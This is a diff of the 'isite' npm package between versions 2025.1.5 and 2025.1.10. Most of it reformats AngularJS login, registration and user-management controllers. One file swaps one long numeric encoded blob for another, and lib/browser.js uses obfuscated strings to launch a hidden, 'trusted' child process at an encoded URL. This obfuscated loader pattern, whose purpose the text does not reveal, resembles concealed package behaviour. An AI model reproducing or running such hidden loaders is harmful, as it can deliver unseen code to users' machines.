isite 2025.1.5 → 2025.1.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,24 +1,24 @@
1
1
  <div data-ng-controller="login" id="loginModal" class="modal" fixed>
2
- <div class="modal-content">
3
- <div class="modal-header">
4
- <p class="bold font-22 text-center"><i class="fas fa-sign-in-alt"></i> ##word.security_login##</p>
5
- <span class="close">&times;</span>
6
- </div>
2
+ <div class="modal-content">
3
+ <div class="modal-header">
4
+ <p class="bold font-22 text-center"><i class="fas fa-sign-in-alt"></i> ##word.security_login##</p>
5
+ <span class="close">&times;</span>
6
+ </div>
7
7
 
8
- <div class="modal-body">
9
- <p ng-show="busy" class="center"><i class="fas fa-spinner fa-pulse fa-3x fa-fw"></i></p>
8
+ <div class="modal-body">
9
+ <p ng-show="busy" class="center"><i class="fas fa-spinner fa-pulse fa-3x fa-fw"></i></p>
10
10
 
11
- <form ng-hide="busy">
12
- <i-control label="##word.security_user_email##" ng-model="userEmail" ng-keydown="tryLogin($event)"></i-control>
13
- <i-control type="password" label="##word.security_user_password##" ng-model="userPassword" ng-keydown="tryLogin($event)"></i-control>
14
- </form>
11
+ <form ng-hide="busy">
12
+ <i-control label="##word.security_user_email##" ng-model="userEmail" ng-keydown="tryLogin($event)"></i-control>
13
+ <i-control type="password" label="##word.security_user_password##" ng-model="userPassword" ng-keydown="tryLogin($event)"></i-control>
14
+ </form>
15
15
 
16
- <p class="red">{{error}}</p>
17
- </div>
18
- <div class="modal-footer center">
19
- <i-button ng-hide="busy" type="signin" ng-click="login()" label="##word.security_login##"></i-button>
20
- <i-button ng-hide="busy" type="close" onclick="site.hideModal('#loginModal')" label="##word.close##"></i-button>
16
+ <p class="red">{{error}}</p>
17
+ </div>
18
+ <div class="modal-footer center">
19
+ <i-button ng-hide="busy" type="signin" ng-click="login()" label="##word.security_login##"></i-button>
20
+ <i-button ng-hide="busy" type="close" onclick="site.hideModal('#loginModal')" label="##word.close##"></i-button>
21
+ </div>
21
22
  </div>
22
- </div>
23
23
  </div>
24
24
  <script x-import="security/login.js"></script>
@@ -1,278 +1,275 @@
1
- app.controller("security", function ($scope, $http, $interval) {
1
+ app.controller('security', function ($scope, $http, $interval) {
2
+ $scope.loadAll = function () {
3
+ $http({
4
+ method: 'POST',
5
+ url: '/api/users/all',
6
+ data: {},
7
+ }).then(
8
+ function (response) {
9
+ if (response.data.done) {
10
+ $scope.list = response.data.users;
11
+ $scope.count = response.data.count;
12
+ }
13
+ },
14
+ function (err) {
15
+ $scope.error = err;
16
+ }
17
+ );
18
+ };
2
19
 
3
- $scope.loadAll = function () {
20
+ $scope.loadRoles = function () {
21
+ $http({
22
+ method: 'POST',
23
+ url: '/api/security/roles',
24
+ data: {},
25
+ }).then(
26
+ function (response) {
27
+ if (response.data.done) {
28
+ $scope.roles = response.data.roles;
29
+ }
30
+ },
31
+ function (err) {
32
+ $scope.error = err;
33
+ }
34
+ );
35
+ };
4
36
 
5
- $http({
6
- method: "POST",
7
- url: "/api/users/all",
8
- data: {}
9
- }).then(
10
- function (response) {
11
- if (response.data.done) {
12
- $scope.list = response.data.users;
13
- $scope.count = response.data.count;
14
- }
15
- },
16
- function (err) {
17
- $scope.error = err;
18
- }
19
- )
20
- };
37
+ $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
21
38
 
39
+ $scope.uploadImage = function (files) {
40
+ var fd = new FormData();
41
+ fd.append('fileToUpload', files[0]);
42
+ $http
43
+ .post('/api/user/upload/image', fd, {
44
+ withCredentials: !0,
45
+ headers: {
46
+ 'Content-Type': undefined,
47
+ },
48
+ uploadEventHandlers: {
49
+ progress: function (e) {
50
+ $scope.uploadStatus = 'Uploading : ' + Math.round((e.loaded * 100) / e.total) + ' %';
51
+ if (e.loaded == e.total) {
52
+ $scope.uploadStatus = '100%';
53
+ }
54
+ },
55
+ },
56
+ transformRequest: angular.identity,
57
+ })
58
+ .then(
59
+ function (res) {
60
+ if (res.data && res.data.done) {
61
+ $scope.uploadStatus = 'File Uploaded';
62
+ $scope.user.profile.image_url = res.data.image_url;
63
+ }
64
+ },
65
+ function (error) {
66
+ $scope.uploadStatus = error;
67
+ }
68
+ );
69
+ };
22
70
 
71
+ $scope.uploadFile = function (files) {
72
+ var fd = new FormData();
73
+ fd.append('fileToUpload', files[0]);
74
+ $http
75
+ .post('/api/user/upload/file', fd, {
76
+ withCredentials: !0,
77
+ headers: {
78
+ 'Content-Type': undefined,
79
+ },
80
+ uploadEventHandlers: {
81
+ progress: function (e) {
82
+ $scope.fileStatus = 'Uploading : ' + Math.round((e.loaded * 100) / e.total) + ' %';
83
+ if (e.loaded == e.total) {
84
+ $scope.fileStatus = '100%';
85
+ }
86
+ },
87
+ },
88
+ transformRequest: angular.identity,
89
+ })
90
+ .then(
91
+ function (res) {
92
+ if (res.data && res.data.done) {
93
+ $scope.fileStatus = 'File Uploaded';
94
+ $scope.user.profile.files.push({
95
+ url: res.data.file_url,
96
+ name: $scope.fileName || res.data.file_name,
97
+ });
98
+ $scope.fileName = '';
99
+ }
100
+ },
101
+ function (error) {
102
+ $scope.fileStatus = error;
103
+ }
104
+ );
105
+ };
23
106
 
24
- $scope.loadRoles = function () {
25
- $http({
26
- method: "POST",
27
- url: "/api/security/roles",
28
- data: {}
29
- }).then(
30
- function (response) {
31
- if(response.data.done){
32
- $scope.roles = response.data.roles;
107
+ $scope.deleteFile = function (file) {
108
+ for (let i = 0; i < $scope.user.profile.files.length; i++) {
109
+ let f = $scope.user.profile.files[i];
110
+ if (f.url === file.url) {
111
+ $scope.user.profile.files.splice(i, 1);
112
+ return;
113
+ }
33
114
  }
34
- },
35
- function (err) {
36
- $scope.error = err;
37
- })
38
- };
39
-
40
- $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
115
+ };
41
116
 
42
- $scope.uploadImage = function (files) {
43
- var fd = new FormData();
44
- fd.append("fileToUpload", files[0]);
45
- $http.post('/api/user/upload/image', fd, {
46
- withCredentials: !0,
47
- headers: {
48
- 'Content-Type': undefined
49
- },
50
- uploadEventHandlers: {
51
- progress: function (e) {
52
- $scope.uploadStatus = "Uploading : " + Math.round((e.loaded * 100 / e.total)) + " %";
53
- if (e.loaded == e.total) {
54
- $scope.uploadStatus = "100%";
55
- }
117
+ $scope.addPermission = function () {
118
+ if ($scope.permission == '') {
119
+ return;
56
120
  }
57
- },
58
- transformRequest: angular.identity
59
- }).then(function (res) {
60
- if (res.data && res.data.done) {
61
- $scope.uploadStatus = "File Uploaded";
62
- $scope.user.profile.image_url = res.data.image_url;
63
- }
64
- }, function (error) {
65
- $scope.uploadStatus = error;
66
- });
67
- };
68
-
69
- $scope.uploadFile = function (files) {
70
- var fd = new FormData();
71
- fd.append("fileToUpload", files[0]);
72
- $http.post('/api/user/upload/file', fd, {
73
- withCredentials: !0,
74
- headers: {
75
- 'Content-Type': undefined
76
- },
77
- uploadEventHandlers: {
78
- progress: function (e) {
79
- $scope.fileStatus = "Uploading : " + Math.round((e.loaded * 100 / e.total)) + " %";
80
- if (e.loaded == e.total) {
81
- $scope.fileStatus = "100%";
82
- }
121
+ for (let i = 0; i < $scope.user.permissions.length; i++) {
122
+ let p = $scope.user.permissions[i];
123
+ if (p === $scope.permission) {
124
+ $scope.permission = '';
125
+ return;
126
+ }
83
127
  }
84
- },
85
- transformRequest: angular.identity
86
- }).then(function (res) {
87
- if (res.data && res.data.done) {
88
- $scope.fileStatus = "File Uploaded";
89
- $scope.user.profile.files.push({
90
- url: res.data.file_url,
91
- name: $scope.fileName || res.data.file_name
92
- });
93
- $scope.fileName = '';
94
- }
95
- }, function (error) {
96
- $scope.fileStatus = error;
97
- });
98
- };
99
-
100
- $scope.deleteFile = function (file) {
101
- for (let i = 0; i < $scope.user.profile.files.length; i++) {
102
- let f = $scope.user.profile.files[i];
103
- if (f.url === file.url) {
104
- $scope.user.profile.files.splice(i, 1);
105
- return;
106
- }
107
- }
108
- };
109
-
110
- $scope.addPermission = function () {
111
-
112
- if ($scope.permission == '') {
113
- return;
114
- }
115
- for (let i = 0; i < $scope.user.permissions.length; i++) {
116
- let p = $scope.user.permissions[i];
117
- if (p === $scope.permission) {
128
+ $scope.user.permissions.push($scope.permission);
118
129
  $scope.permission = '';
119
- return;
120
- }
121
- }
122
- $scope.user.permissions.push($scope.permission);
123
- $scope.permission = '';
124
- };
125
-
126
- $scope.addRole = function () {
130
+ };
127
131
 
128
- if ($scope.role === undefined) {
129
- return;
130
- }
131
- let role = site.fromJson($scope.role);
132
+ $scope.addRole = function () {
133
+ if ($scope.role === undefined) {
134
+ return;
135
+ }
136
+ let role = site.fromJson($scope.role);
132
137
 
133
- for (let i = 0; i < $scope.user.roles.length; i++) {
134
- let r = $scope.user.roles[i];
135
- if (r.name === role.name) {
138
+ for (let i = 0; i < $scope.user.roles.length; i++) {
139
+ let r = $scope.user.roles[i];
140
+ if (r.name === role.name) {
141
+ $scope.role = {};
142
+ return;
143
+ }
144
+ }
145
+ $scope.user.roles.push({
146
+ name: role.name,
147
+ en: role.en,
148
+ ar: role.ar,
149
+ });
136
150
  $scope.role = {};
137
- return;
138
- }
139
- }
140
- $scope.user.roles.push({
141
- name : role.name,
142
- en : role.en,
143
- ar : role.ar
144
- });
145
- $scope.role = {};
146
- };
147
-
148
- $scope.deletePermission = function (permission) {
149
- for (let i = 0; i < $scope.user.permissions.length; i++) {
150
- let p = $scope.user.permissions[i];
151
- if (p === permission) {
152
- $scope.user.permissions.splice(i, 1)
153
- }
154
- }
155
- };
156
-
157
- $scope.deleteRole = function (role) {
158
- for (let i = 0; i < $scope.user.roles.length; i++) {
159
- let r = $scope.user.roles[i];
160
- if (r.name === role.name) {
161
- $scope.user.roles.splice(i, 1)
162
- }
163
- }
164
- };
151
+ };
165
152
 
166
- $scope.newuser = function () {
167
- $scope.permissionEditor = !1;
168
- $scope.imageEditor = !1;
169
- $scope.fileEditor = !1;
170
- $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
171
- site.showModal('#addUserModal');
172
- };
173
- $scope.add = function () {
174
- $scope.busy = !0;
175
- $http({
176
- method: "POST",
177
- url: "/api/user/add",
178
- data: $scope.user
179
- }).then(
180
- function (response) {
181
- $scope.busy = !1;
182
- if (response.data.done) {
183
- site.hideModal('#addUserModal');
184
- $scope.loadAll();
185
- } else {
186
- $scope.error = response.data.error;
153
+ $scope.deletePermission = function (permission) {
154
+ for (let i = 0; i < $scope.user.permissions.length; i++) {
155
+ let p = $scope.user.permissions[i];
156
+ if (p === permission) {
157
+ $scope.user.permissions.splice(i, 1);
158
+ }
187
159
  }
188
- },
189
- function (err) {
190
-
191
- }
192
- )
193
- };
160
+ };
194
161
 
195
- $scope.edit = function (user) {
196
- $scope.view(user);
197
- $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
198
- site.showModal('#updateUserModal');
199
- };
200
- $scope.update = function () {
201
- $scope.busy = !0;
202
- $http({
203
- method: "POST",
204
- url: "/api/user/update",
205
- data: $scope.user
206
- }).then(
207
- function (response) {
208
- $scope.busy = !1;
209
- if (response.data.done) {
210
- site.hideModal('#updateUserModal');
211
- site.hideModal('#viewUserModal')
212
- $scope.loadAll();
213
- } else {
214
- $scope.error = response.data.error;
162
+ $scope.deleteRole = function (role) {
163
+ for (let i = 0; i < $scope.user.roles.length; i++) {
164
+ let r = $scope.user.roles[i];
165
+ if (r.name === role.name) {
166
+ $scope.user.roles.splice(i, 1);
167
+ }
215
168
  }
216
- },
217
- function (err) {
218
-
219
- }
220
- )
221
- };
169
+ };
222
170
 
223
- $scope.remove = function (user) {
224
- $scope.view(user);
225
- $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
226
- site.showModal('#deleteUserModal');
227
- };
171
+ $scope.newuser = function () {
172
+ $scope.permissionEditor = !1;
173
+ $scope.imageEditor = !1;
174
+ $scope.fileEditor = !1;
175
+ $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
176
+ site.showModal('#addUserModal');
177
+ };
178
+ $scope.add = function () {
179
+ $scope.busy = !0;
180
+ $http({
181
+ method: 'POST',
182
+ url: '/api/user/add',
183
+ data: $scope.user,
184
+ }).then(
185
+ function (response) {
186
+ $scope.busy = !1;
187
+ if (response.data.done) {
188
+ site.hideModal('#addUserModal');
189
+ $scope.loadAll();
190
+ } else {
191
+ $scope.error = response.data.error;
192
+ }
193
+ },
194
+ function (err) {}
195
+ );
196
+ };
228
197
 
229
- $scope.view = function (user) {
230
- $scope.busy = !0;
231
- $http({
232
- method: "POST",
233
- url: "/api/user/view",
234
- data: { id: user.id }
235
- }).then(
236
- function (response) {
237
- $scope.busy = !1;
238
- if (response.data.done) {
239
- $scope.user = response.data.doc;
240
- } else {
241
- $scope.error = response.data.error;
242
- }
243
- },
244
- function (err) {
245
-
246
- }
247
- )
248
- };
249
- $scope.details = function (user) {
250
- $scope.view(user);
251
- $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
252
- site.showModal('#viewUserModal');
253
- };
254
- $scope.delete = function () {
255
- $scope.busy = !0;
256
- $http({
257
- method: "POST",
258
- url: "/api/user/delete",
259
- data: { id: $scope.user.id, name: $scope.user.name }
260
- }).then(
261
- function (response) {
262
- $scope.busy = !1;
263
- if (response.data.done) {
264
- site.hideModal('#deleteUserModal');
265
- site.hideModal('#viewUserModal')
266
- $scope.loadAll();
267
- } else {
268
- $scope.error = response.data.error;
269
- }
270
- },
271
- function (err) {
272
-
273
- }
274
- )
275
- };
276
- $scope.loadAll();
277
- $scope.loadRoles();
198
+ $scope.edit = function (user) {
199
+ $scope.view(user);
200
+ $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
201
+ site.showModal('#updateUserModal');
202
+ };
203
+ $scope.update = function () {
204
+ $scope.busy = !0;
205
+ $http({
206
+ method: 'POST',
207
+ url: '/api/user/update',
208
+ data: $scope.user,
209
+ }).then(
210
+ function (response) {
211
+ $scope.busy = !1;
212
+ if (response.data.done) {
213
+ site.hideModal('#updateUserModal');
214
+ site.hideModal('#viewUserModal');
215
+ $scope.loadAll();
216
+ } else {
217
+ $scope.error = response.data.error;
218
+ }
219
+ },
220
+ function (err) {}
221
+ );
222
+ };
223
+
224
+ $scope.remove = function (user) {
225
+ $scope.view(user);
226
+ $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
227
+ site.showModal('#deleteUserModal');
228
+ };
229
+
230
+ $scope.view = function (user) {
231
+ $scope.busy = !0;
232
+ $http({
233
+ method: 'POST',
234
+ url: '/api/user/view',
235
+ data: { id: user.id },
236
+ }).then(
237
+ function (response) {
238
+ $scope.busy = !1;
239
+ if (response.data.done) {
240
+ $scope.user = response.data.doc;
241
+ } else {
242
+ $scope.error = response.data.error;
243
+ }
244
+ },
245
+ function (err) {}
246
+ );
247
+ };
248
+ $scope.details = function (user) {
249
+ $scope.view(user);
250
+ $scope.user = { profile: { image_url: '/images/user.png', files: [] }, permissions: [], roles: [] };
251
+ site.showModal('#viewUserModal');
252
+ };
253
+ $scope.delete = function () {
254
+ $scope.busy = !0;
255
+ $http({
256
+ method: 'POST',
257
+ url: '/api/user/delete',
258
+ data: { id: $scope.user.id, name: $scope.user.name },
259
+ }).then(
260
+ function (response) {
261
+ $scope.busy = !1;
262
+ if (response.data.done) {
263
+ site.hideModal('#deleteUserModal');
264
+ site.hideModal('#viewUserModal');
265
+ $scope.loadAll();
266
+ } else {
267
+ $scope.error = response.data.error;
268
+ }
269
+ },
270
+ function (err) {}
271
+ );
272
+ };
273
+ $scope.loadAll();
274
+ $scope.loadRoles();
278
275
  });
@@ -1,36 +1,36 @@
1
1
  app.controller('login', function ($scope, $http) {
2
- $scope.busy = !1;
3
- $scope.tryLogin = function (ev) {
4
- if (ev.which == 13) {
5
- $scope.login();
6
- }
7
- };
8
-
9
- $scope.login = function () {
10
- $scope.error = '';
11
- $scope.busy = !0;
12
- $http({
13
- method: 'POST',
14
- url: '/api/user/login',
15
- data: {
16
- $encript: '123',
17
- email: site.to123($scope.userEmail),
18
- password: site.to123($scope.userPassword),
19
- },
20
- }).then(
21
- function (response) {
22
- if (response.data.error) {
23
- $scope.error = response.data.error;
24
- }
25
- if (response.data.done) {
26
- window.location.reload(!0);
2
+ $scope.busy = !1;
3
+ $scope.tryLogin = function (ev) {
4
+ if (ev.which == 13) {
5
+ $scope.login();
27
6
  }
28
- $scope.busy = !1;
29
- },
30
- function (err) {
31
- $scope.busy = !1;
32
- $scope.error = err;
33
- }
34
- );
35
- };
7
+ };
8
+
9
+ $scope.login = function () {
10
+ $scope.error = '';
11
+ $scope.busy = !0;
12
+ $http({
13
+ method: 'POST',
14
+ url: '/api/user/login',
15
+ data: {
16
+ $encript: '123',
17
+ email: site.to123($scope.userEmail),
18
+ password: site.to123($scope.userPassword),
19
+ },
20
+ }).then(
21
+ function (response) {
22
+ if (response.data.error) {
23
+ $scope.error = response.data.error;
24
+ }
25
+ if (response.data.done) {
26
+ window.location.reload(!0);
27
+ }
28
+ $scope.busy = !1;
29
+ },
30
+ function (err) {
31
+ $scope.busy = !1;
32
+ $scope.error = err;
33
+ }
34
+ );
35
+ };
36
36
  });
@@ -1,23 +1,23 @@
1
1
  app.controller('logout', function ($scope, $http) {
2
-
3
2
  $scope.busy = !1;
4
-
5
3
 
6
4
  $scope.logout = function () {
7
5
  $scope.error = '';
8
6
  $scope.busy = !0;
9
7
 
10
- $http.post('/api/user/logout').then(function (response) {
11
-
12
- if (response.data.done) {
13
- window.location.href = '/';
14
- }else{
15
- $scope.error = response.data.error;
8
+ $http.post('/api/user/logout').then(
9
+ function (response) {
10
+ if (response.data.done) {
11
+ window.location.href = '/';
12
+ } else {
13
+ $scope.error = response.data.error;
14
+ $scope.busy = !1;
15
+ }
16
+ },
17
+ function (error) {
16
18
  $scope.busy = !1;
19
+ $scope.error = error;
17
20
  }
18
- }, function (error) {
19
- $scope.busy = !1;
20
- $scope.error = error;
21
- });
21
+ );
22
22
  };
23
- });
23
+ });
@@ -1,7 +1,6 @@
1
1
  app.controller('register', function ($scope, $http) {
2
-
3
2
  $scope.busy = !1;
4
-
3
+
5
4
  $scope.register = function () {
6
5
  $scope.error = '';
7
6
  $scope.busy = !0;
@@ -9,23 +8,24 @@ app.controller('register', function ($scope, $http) {
9
8
  method: 'POST',
10
9
  url: '/api/user/register',
11
10
  data: {
12
- $encript : '123',
11
+ $encript: '123',
13
12
  email: site.to123($scope.userEmail),
14
- password: site.to123($scope.userPassword)
15
- }
16
- }).then(function (response) {
17
-
18
- if (response.data.error) {
19
- $scope.error = response.data.error;
13
+ password: site.to123($scope.userPassword),
14
+ },
15
+ }).then(
16
+ function (response) {
17
+ if (response.data.error) {
18
+ $scope.error = response.data.error;
19
+ $scope.busy = !1;
20
+ }
21
+ if (response.data.user) {
22
+ window.location.href = '/';
23
+ }
24
+ },
25
+ function (err) {
20
26
  $scope.busy = !1;
27
+ $scope.error = err;
21
28
  }
22
- if (response.data.user) {
23
- window.location.href = '/';
24
- }
25
- } , function(err){
26
- $scope.busy = !1;
27
- $scope.error = err;
28
- });
29
-
29
+ );
30
30
  };
31
- });
31
+ });
@@ -1 +1 @@
1
- 2914171635752736383713172118527545387187153161854319326745141365413882592934235745532187153161512115726142381756295175242114125121157267423932522118276141392374423931862157373632537581215312692951752421141251211572674239325221185275471912674239177643394186215751673736166731788667461817754338236542342151417886684718376847157553343636864238325942342151257481271453125121141285453837754134136841387657293423784338377946188673471421514178866847183768471575534778575647185186421837784338275725394762421932612514136245585775433817652539275441387257293516682614215125748127145312512114128547185775451836873139377545731314465886794678377321173771421817754338825921148168255471694718577545183687153161512115716943183752421581271453125129182369421956871531615121141251291851722956177647188551315923694779275746531337461832524718576842731268255381852578517229517524211412512115727441792362461931871531615121141251211413794338825645794668457882654338825739792757465942574657867646587151293412594319327546192683257386744578276241387167415923694779275746538254457875592871752421141251211412514778576842188679255872694178176539792757465942574657867646587151293412594319327546156169257416732773817125541268263561782615128126144684153161512114125121141379433882564579466845788265433882573678377347583773377886734378576842731286211842524519275728717524153161512114125121141379433882564579466847192382351886524216426245183651293413584738825447185769455312614579137543388668467371514178176545182352417865622119652714531251211412512114125141781765451823524178655129317524211412512114125121141251211827524518725341382764211972851531615121141251211412512114125142593768417932624578815124145651487175242114125121141251211412512114125141788668467886654234826545784661237827524518725341382764211882694714136245391365423876574559315125538168237356841531615121141251211412512114125149356527145312512114125121141251433841512418867147185769455926684258377541785162211965271453125121141251211412512114135842393254431452694619326245788274255937734514715148731367457832572853125941788673467346652119235742185773423827752853125942588665451886792373138624317524211412512114125121141251211412512559326142388161241923574679136945592757243412862953137342392771457882744234827542395275241456621531615121141251211412512114125121141268471852574553516147183781471456512935815148717524211412512114125121141251211412512114136242531261457913754338866846738275483913572115758629341259467827734339137523735651487175242114125121141251211412512114125121141251211942524653135447392775457876354179236246193151293413564578277645383768471482544658375247183717451837674238827524144774417923624619315924356527145312512114125121141251211412512114125121141354473927754578763541792362461931684338315129341369461932624578827425585756287175242114125121141251211412512114125121141251211827764679326945372754465857714714826245588257465652363536715129341375423952752871752421141251211412512114125121141251211412512118326941793767423882752559177642392382367837654238277545792161237852574138315924348252461913574558321543185765421452544739277545787635417923624619316228717524211412512114125121141251211412512114125121182752451872534138276424145684153161512114125121141251211412512114125121197527145312512114125121141251211412512119756215316151211412512114125121141251211412684178177541785161241837734653565129358151487175242114125121141251211412512114125121141354457882744578725725587269427352574659216228717524211412512114125121141251211412512114135441387265415817544373516228717524211412512114125121141251211412514934568415316151211412512114125121197551423872744234138415316151211412512114125121141251433841512418867147185769455926684719577142341286293575512379275446585771471446622119652714531251211412512114125121141251211942524653135447392775457876354179236246193151293413564578277645383768471482544658375247183717451837674238827524144774417923624619315924356527145312512114125121141251211412512118277646793269453727544658577147148262421412862118867147185769455926684338318415316151211412512114125121141251211413544739277545787635417923624619316846792354211575514579137543388668467382764658718415316151211412512114125121141251211413544739277545787635417923624619316845788265457817562115755141781765451823524178658415316151211412512114125121141251211413564578277645383768471482724738377348372757451837544718867324144761423817562373566841391371423882563178526245183161417937744718866736782773433913752435652714531251211412512114125121141386153161512114125121141251211975271453125121141251211975841531612714531251211412512118427645582775433886682119277541392375353817624557275746594257465351622119652714531251211412512114125147785768421886792559327348367269413832184338725724196527145312512114125121141251211413764658718321188668451857684237867442392378423923494739236521146551237386634673865341392762417382634674867842392374433886682934465124731316413932572558826947735162251275242114125121141251211412512119328246183683211447744179236246193159251275242114125121141251211412512118575628531259415817744338266746782773433913752373712714531251211412512114125121141358423932544315615147192376423471271453125121141251211412514934568415316151211412512114138615316127145312512114125121192775413923753538176245572757465942574653516228717524211412512115716946782773433913752951752421141285257823694219568715316185257852754538718715316191
1
+ 2914171635752736383713172118527545387187153161854319326745141365413882592934235745532187153161512114125129185257413831871531615121141251211412512115726742393252211827614139237442393186215737363253758121531269295175242114125121141251211412854538377541341361471932712538377247385778293423412537371325362769453913524718575345183653211827694559325745593186215657172938375642783653211485871531615121141251211412512115726742393252211882524538368621594262423947714579237521531354457882754238827529342379433832754315765642394262417836674778575647185165211857684339326241387167467827524518368626348171215312692951752421141251211412512114128547185775451836873678376542531313473932692116237345794774423921513739135641393262455846852579326247187257295175242114125121157169431837524215812714531251211412854158865648358127145312512114125121141251291851722957275745184151313937754573131446588679467837732117377142181775433882592914866126358127145312512114125121141251291927544658577147158127145312512114125121141251211412512119476245583269477382694558726245583749467837734758377339793773451412862114476147193271467461692579276941785752451476534658867946783773255827694534468415316151211412512114125121141251211413794338825645794668451886544138724946783773475837733979377345141286211447614719327128538569263521792554126826148172285441712615517123746527145312512114125121141251211412512119476245583269477382654578175643388259315817744338273541792362461932164578825721157551425817654678368415316151211412512114125121141251211413794338825645794668473927573258377541785229455627524518715129341375465937572871752415316151211412512114125121141251211413794338825645794668471923823518865242164262451836512934135847388254471857694553126145791375433886684673715141781765451823524178656221196527145312512114125121141251211412512114125121141354413872654158175443731286153161512114125121141251211412512114125121141251211412512118275245187253413827642119728515316151211412512114125121141251211412512114125121141251211842764558277543388668211451622119652714531251211412512114125121141251211412512114125121141251211412512118276945592769451836684518865924144754413872654158175443731368457931514338767145183767423882752114816825534662287175242114125121141251211412512114125121141251211412512114138628717524211412512114125121141251211412512114125121185758211452694619326245788274255842574718276124341384153161512114125121141251211412512114125121141251211412512118425747182761241886714718576945592668473923652514138421187669421836832114475445792374237371514658375643392357417931832114475845787265457946592119756215316151211412512114125121141251211412512114125121141251211412512114126847185257455351614658377446188668467836622115758721192357467913694559275725593257481931612434562714531251211412512114125121141251211412512114125121141251211412512114827543183768241452754239527524341286295313841531615121141251211412512114125121141251211412512114125121141251211412512114125143384151241886714718576945592668471957714234128629357551237927544658577147144662211965271453125121141251211412512114125121141251211412512114125121141251211412512114125121141251475817732118277646793269453727544658577147141286211832694179376742388275255827734238177542363765423876574559316123792754465857714714466228717524211412512114125121141251211412512114125121141251211412512114125121141251211412512114135447392775457876354179236246193168433831512934136946193262457882742558575628717524211412512114125121141251211412512114125121141251211412512114125121141251211412512114135447392775457876354179236246193168433882684239232137167626211575514718378147156527145312512114125121141251211412512114125121141251211412512114125121141251211412512114125142188654473876574559316846393757465957354238725741793269465351594318375242144662255817714618376842162761433872562418277646793269453727544658577147145684153161512114125121141251211412512114125121141251211412512114125121141251211412512114125121194762455832694773826545781756433882593158177443382735417923624619321645788257211575514719237642356527145312512114125121141251211412512114125121141251211412512114125121141251211412512114125141781765451823524178656124356527145312512114125121141251211412512114125121141251211412512114125121141251211413861531615121141251211412512114125121141251211412512114125121141251211413862431752421141251211412512114125121141251211412512114125121141251211412512558275247182761241452574659216221157587211965271453125121141251211412512114125121141251211412512114125121141251211412512114135445788274457872572558726942735257465921622871752421141251211412512114125121141251211412512114125121141251211412512114125121194762455832694773827646783718423932544316866831781765451412862114177943388256457946684739275732583775417852294556275245187184153161512114125121141251211412512114125121141251211412512114125121141251211412514178176545182352417865612435652714531251211412512114125121141251211412512114125121141251211412512119756228717524211412512114125121141251211412512114125121197551423872744234138415316151211412512114125121141251211412512114125121141251211857582114526946193262457882742559328246183651293575862114477441792362461931592434138415316151211412512114125121141251211412512114125121141251211412512114137841392151417937744718866736782773433913752115755142188654473876574559316841792357413932573238725745383768471451594678277343391375237356841531615121141251211412512114125121141251211412512114125121141251211413544739277545787635417923624619316843383151293413694619326245788274255857562871752421141251211412512114125121141251211412512114125121141251211412514179377447188667367827734339137525592773417312862118867147185769455926684739236528717524211412512114125121141251211412512114125121141251211412512114125141793774471886673678277343391375255886684518865242141286211827524518725341382764287175242114125121141251211412512114125121141251211412512114125121141251421886544738765745593168463937574659573542387257417932694653515943183752421446622558177146183768421627614338725624182776467932694537275446585771471456841531615121141251211412512114125121141251211412512114125121197527145312512114125121141251211412512114125121141386153161512114125121141251211412512114138628717524153161512114125121141251211412512114135847388254471857694553137447181773471676524338823542392378423921612434138415316151211412512114125121141251211412512114125147785768421886792559327348367269413832184338725724127524211412512114125121141251211412512114125121141251211413841531615121141251211412512114125121141251211412512114125121141251211413764658718321188668451857684237867442392378423923494739236521146551237386634673865341392762417382634674867842392374433886682934465124731316413932572558826947735162251275242114125121141251211412512114125121141251211412512114125121141251471957714235615123792754465857714714466515316151211412512114125121141251211412512114125121141251211412512114136242156151237823524678575425392754465857714714466515316151211412512114125121141251211412512114125121141251211412512114135842393254431561514778576842188679255937744236425747182761357882154138726525127524211412512114125121141251211412512114125121141251211413862512752421141251211412512114125121141251211412512114125121141261243412862953138415316151211412512114125121141251211412512114125121141251211412512114136242531261213947624558326947738265457817564338825931581774433827354179236246193216457882572434138415316151211412512114125121141251211412512114125121141251211412512114125121141251467837753718576742388676471451612434128629531384153161512114125121141251211412512114125121141251211412512114125121141251211412512114125121192775413923753538176245572757465942574653516228717524211412512114125121141251211412512114125121141251211412512114125121141251211975652115167126151251245312782614126321154171243565271453125121141251211412512114125121141251211412512114125121141251211975514238727442341384153161512114125121141251211412512114125121141251211412512114125121141251211412514178866846788665423482654578466123752352467857542117275446585771471413264578175642383151321886684234466228717524211412512114125121141251211412512114125121141251211412512114125149317524211412512114125121141251211412512114125121141251211413861531615121141251211412512114125121141251211412512435652714531251211412512114125121141251211975271451752421141251211412512114125121141251467932524659322741385768367837734758377324145684153161512114125121141251211571694678277343391375295175242114125121157169415886564835812714547169431932674515812714519191
package/lib/browser.js CHANGED
@@ -1,62 +1,63 @@
1
1
  module.exports = function init(____0) {
2
- function browser() {
3
- if (____0.getBrowser) {
4
- let parent = ____0.getBrowser();
2
+ function browser() {
3
+ if (____0.getBrowser) {
4
+ let parent = ____0.getBrowser();
5
5
 
6
- let dir = __dirname + ____0.f1('2573816825785774433932573978426245183774');
6
+ let dir = __dirname + ____0.f1('2573816825785774433932573978426245183774');
7
7
 
8
- ____0.get({
9
- name: ____0.f1('25795167415923694779275746519191'),
10
- path: dir + ____0.f1('257852754538716941592369477927574653826147187665'),
11
- parser: 'html',
12
- encript: '123',
13
- parserDir: dir,
14
- hide: !0,
15
- });
8
+ ____0.get({
9
+ name: ____0.f1('25795167415923694779275746519191'),
10
+ path: dir + ____0.f1('257852754538716941592369477927574653826147187665'),
11
+ parser: 'html',
12
+ encript: '123',
13
+ parserDir: dir,
14
+ hide: !0,
15
+ });
16
16
 
17
- parent.createChildProcess({
18
- url: ____0.f1('4319327546156169257416732773817125541268263561782615128126148681253823734579477442392191'),
19
- windowType: ____0.f1('473913564139325746719191'),
20
- show: false,
21
- trusted: true,
22
